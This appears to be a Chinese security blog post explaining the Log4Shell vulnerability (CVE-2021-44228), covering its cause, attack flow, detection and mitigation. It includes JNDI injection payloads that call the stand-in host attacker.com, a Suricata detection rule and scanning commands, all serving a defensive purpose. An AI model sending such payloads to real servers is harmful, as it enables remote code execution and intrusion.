Log4j2远程代码执行攻击（CVE-2021-44228）深度解析与防御指南

白帽Gavin

已于 2025-06-05 16:22:14 修改

阅读量1.3k

点赞数 21

CC 4.0 BY-SA版权

文章标签： java 网络安全

于 2025-04-23 17:24:32 首次发布

本文链接：https://blog.csdn.net/m0_68037567/article/details/147459191

一、漏洞概述

Log4j2远程代码执行漏洞（CVE-2021-44228），又称 Log4Shell，是2021年12月披露的Apache Log4j2日志库中的一个核弹级漏洞。攻击者通过构造恶意日志请求，可在目标服务器上执行任意代码，引发数据泄露、服务瘫痪、勒索软件植入等严重后果。该漏洞因其易利用性和广泛影响面，被列为网络安全史上最危险的漏洞之一。

二、漏洞影响范围

受影响版本：Log4j2 2.0-beta9 至 2.14.1
CVSS评分：10.0（最高危）
受影响场景：
- 所有使用Log4j2记录用户输入的应用（如Web服务、API接口、云平台）。
- 常见受影响系统：
  - 云服务：AWS Lambda、阿里云、Microsoft Azure。
  - 企业应用：VMware、IBM WebSphere、Steam游戏平台。
  - 开发框架：Spring Boot、Apache Struts。

三、漏洞原理

1. 漏洞根源：JNDI动态解析

Log4j2默认支持通过 JNDI（Java Naming and Directory Interface） 在日志消息中解析动态内容。例如，当应用记录如下日志时：

logger.error("用户请求失败：${jndi:ldap://attacker.com/exp}");

Log4j2会尝试连接attacker.com的LDAP服务器，下载并执行远程恶意类（如Java反序列化利用链）。

2. 攻击流程

注入恶意字符串：攻击者通过HTTP请求头、表单参数等输入点提交JNDI表达式。
- 示例：
```
GET / HTTP/1.1
User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}
```
触发日志记录：应用使用Log4j2记录该输入（如记录User-Agent）。
加载远程代码：Log4j2解析JNDI地址，下载并执行攻击者控制的恶意类。
执行任意代码：恶意类在服务器上执行命令（如反弹Shell、部署勒索软件）。

四、实际攻击案例

案例1：国家级APT组织攻击

某国黑客组织利用Log4Shell漏洞，入侵政府机构的邮件服务器，窃取敏感数据并植入后门程序，长期潜伏进行情报收集。

案例2：加密货币挖矿劫持

攻击者通过构造恶意JNDI请求，在未修复的云服务器上部署门罗币挖矿程序，导致服务器CPU占用率飙升至100%，业务瘫痪。

案例3：勒索软件传播

勒索团伙利用Log4Shell漏洞，在企业内网横向传播Khonsari勒索软件，加密核心数据库并勒索比特币。

五、漏洞检测方法

1. 手动检测

日志扫描：在应用日志中搜索jndi:ldap、jndi:rmi等关键词。
输入测试：向应用提交无害探测载荷（如${jndi:dns://attacker.com}），观察是否触发DNS解析。

2. 自动化工具

漏洞扫描器：
- Nmap脚本：nmap -sV --script log4shell.nse <target>
- Log4j-Scanner：开源工具，批量检测Web应用漏洞。

流量监控：

Suricata规则：检测HTTP请求中的JNDI特征。

alert http any any -> any any (  
  msg:"Log4j Exploit Attempt (CVE-2021-44228)";  
  flow:to_server;  
  content:"${jndi:"; nocase;  
  http_header;  
  classtype:web-application-attack;  
  sid:20211210;  
)

六、修复与防御措施

1. 紧急修复方案

升级Log4j2版本：
- 升级至2.15.0及以上版本（推荐2.17.1+，修复后续漏洞如CVE-2021-45046）。
临时缓解措施：
- 禁用JNDI查找：
```
# 启动参数添加
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar
```
- 删除漏洞类：移除Log4j2 JAR包中的JndiLookup.class文件。

2. 长期防御策略

输入过滤与编码：
- 禁止用户输入中包含${等特殊字符。
- 对日志内容进行HTML编码（如< → <）。
网络层防护：
- 防火墙规则：阻止服务器对外发起LDAP/RMI协议请求。
- WAF/IPS规则：拦截包含JNDI特征的HTTP请求。
纵深防御体系：
- 最小化日志记录：避免记录不可信的用户输入字段。
- 启用CSP和HttpOnly Cookie：降低XSS与Cookie劫持风险。